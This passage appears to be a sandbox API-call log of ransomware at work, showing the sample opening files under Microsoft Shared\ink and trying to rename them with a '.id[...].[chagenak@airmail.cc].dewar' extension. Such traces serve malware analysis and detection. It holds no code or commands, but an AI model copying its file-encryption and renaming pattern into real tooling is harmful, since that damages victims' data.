shared\\ink\\ipssrl.xml")) returned 0x20 [0221.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.840] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2520) returned 1 [0221.841] CloseHandle (hObject=0x1d4) returned 1 [0221.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0221.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0221.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.842] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.842] CloseHandle (hObject=0x1d4) returned 1 [0221.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0221.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0221.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.845] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.845] CloseHandle (hObject=0x1d4) returned 1 [0221.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0221.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0221.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.847] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1367552) returned 1 [0221.847] CloseHandle (hObject=0x1d4) returned 1 [0221.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0221.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0221.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.849] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.849] CloseHandle (hObject=0x1d4) returned 1 [0221.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0221.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0221.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.854] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0221.854] CloseHandle (hObject=0x1d8) returned 1 [0221.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0221.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0221.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.856] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0221.856] CloseHandle (hObject=0x1d8) returned 1 [0221.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0221.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0221.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.862] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1704448) returned 1 [0221.862] CloseHandle (hObject=0x1d8) returned 1 [0221.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0221.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0221.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0221.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.864] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=507904) returned 1 [0221.864] CloseHandle (hObject=0x1d8) returned 1 [0221.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0221.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0221.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.866] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1547264) returned 1 [0221.866] CloseHandle (hObject=0x1d8) returned 1 [0221.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0221.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0221.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.868] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6331392) returned 1 [0221.868] CloseHandle (hObject=0x1d8) returned 1 [0221.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0221.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0221.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0221.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.870] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=49664) returned 1 [0221.870] CloseHandle (hObject=0x1d8) returned 1 [0221.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0221.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0221.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.872] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1071616) returned 1 [0221.873] CloseHandle (hObject=0x1d8) returned 1 [0221.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0221.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0221.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.874] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.874] CloseHandle (hObject=0x1d8) returned 1 [0221.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0221.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0221.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.877] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.877] CloseHandle (hObject=0x1d8) returned 1 [0221.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0221.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0221.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.880] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0221.880] CloseHandle (hObject=0x1d8) returned 1 [0221.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0221.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 